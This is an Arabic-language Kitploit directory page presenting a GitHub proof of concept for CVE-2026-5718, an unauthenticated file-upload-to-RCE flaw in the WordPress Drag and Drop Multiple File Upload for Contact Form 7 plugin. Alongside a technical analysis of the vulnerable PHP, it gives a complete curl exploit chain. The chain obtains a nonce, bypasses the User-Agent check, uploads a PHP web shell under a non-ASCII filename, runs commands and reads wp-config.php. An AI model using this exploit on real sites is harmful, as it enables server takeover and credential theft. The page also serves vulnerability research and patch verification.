Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-5718 — CVE-2026-5718: رفع ملف غير مصادق عليه إلى RCE في إضافة DnD Upload CF7 | Kitploit
أدوات/GitHubGitHub/xxconi/cve-2026-5718
توليد الحمولةتحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: رفع ملف غير مصادق عليه إلى RCE في إضافة DnD Upload CF7

عرض المستودع
5منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-5718

CVE-2026-5718: رفع ملفات غير مصادَق عليه يؤدي إلى RCE في ملحق DnD Upload CF7

CVE-2026-5718 — ماسح RCE لرفع الملفات في DnD CF7

الملحق: Drag and Drop Multiple File Upload for Contact Form 7 Slug الملحق: drag-and-drop-multiple-file-upload-contact-form-7 معرف CVE: CVE-2026-5718 درجة CVSS: 8.1 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H نوع الثغرة: رفع ملفات عشوائي غير مصادَق عليه → تنفيذ أوامر عن بُعد (RCE) الإصدارات المتأثرة: <= 1.3.9.6 الإصدار المُصَلَّح: 1.3.9.7 تاريخ النشر: 17 أبريل 2026 الباحث: Leonid Semenenko (lsemenenko) — Wordfence


📌 حول الثغرة

في ملحق Drag and Drop Multiple File Upload for Contact Form 7، يتضافر خطآن منطقيان مستقلان لتمكين المهاجمين غير المصادَقين من رفع قشرة ويب PHP.

  1. تدمير القائمة السوداء: يؤدي تكوين القائمة السوداء المخصص إلى استبدال قائمة الامتدادات الخطيرة الافتراضية بالكامل بدلاً من دمجها. لم يعد php محظورًا.

  2. تجاوز عبر غير ASCII: وجود حرف غير ASCII في اسم الملف يمنع استدعاء الدالة wpcf7_antiscript_file_name(). يبقى امتداد .php محفوظًا ويُكتب الملف على القرص.


🔍 ملخص الثغرة

الحقلالقيمة
اسم الملحقDrag and Drop Multiple File Upload for CF7
معرف CVECVE-2026-5718
درجة CVSS8.1 (عالية)
نوع الثغرةرفع ملفات عشوائي غير مصادَق عليه
الإصدار المتأثر<= 1.3.9.6
الإصدار المُصَلَّح1.3.9.7
الشرط المسبقتكوين مخصص blacklist-types في نموذج CF7

⚙️ التحليل الفني

الثغرة 1 — Nonce متاح للعموم (السطر 62)

// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

إجراء wp_ajax_nopriv__wpcf7_check_nonce متاح للعموم دون مصادقة. عند إرسال nonce غير صالح، يُمنح nonce جديد مجانًا. يمكن تجاوز فحص curl باستخدام وكيل مستخدم (User-Agent) من Mozilla.


الثغرة 2 — استبدال القائمة السوداء بدلاً من دمجها (السطر 883)

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSIGNMENT (=) — MERGE DEĞİL
    // Özel liste: sadece ['zip']
    // 'php' artık listede YOK → kabul edilir
}

إعداد وسم النموذج المُشغِّل:

[mfile upload-file filetypes="*" blacklist-types:zip]

يريد المسؤول حظر ZIP ← يحذف الملحق قائمة الحظر الافتراضية بالكامل. أصبحت جميع الامتدادات الخطيرة، بما في ذلك php، مقبولة الآن.

كما أن القائمة الثابتة في الكود (hardcoded) الخاصة بـ filetypes="*" ناقصة:

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

الثغرة 3 — تجاوز الأحرف غير ASCII (السطر 970)

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // Sadece pure-ASCII dosya adları için çağrılır
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // Non-ASCII karakter → false → antiscript atlanır
}

🔴 سلسلة الهجوم الكاملة

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl değil)                     │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce ücretsiz alındı                                    │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce geçerli ✓                                   │
│       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
│       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → Unauthenticated RCE ✓                                    │
└─────────────────────────────────────────────────────────────┘

🧪 إثبات المفهوم (يدوي)

⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.

الشرط المسبق:

  • الملحق مثبّت ونشط (الإصدار <= 1.3.9.6)
  • يجب أن يحتوي نموذج CF7 على حقل [mfile] مع blacklist-types:
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

الخطوة 1 — الحصول على Nonce

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

الاستجابة المتوقعة:

{"success": true, "data": "abc123def456"}

الخطوة 2 — إنشاء قشرة ويب باسم ملف غير ASCII

# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

الخطوة 3 — رفع القشرة

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

الاستجابة المتوقعة:

{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

الخطوة 4 — إنشاء رابط القشرة

UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

الخطوة 5 — تفعيل RCE

# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
تنزيل الأداة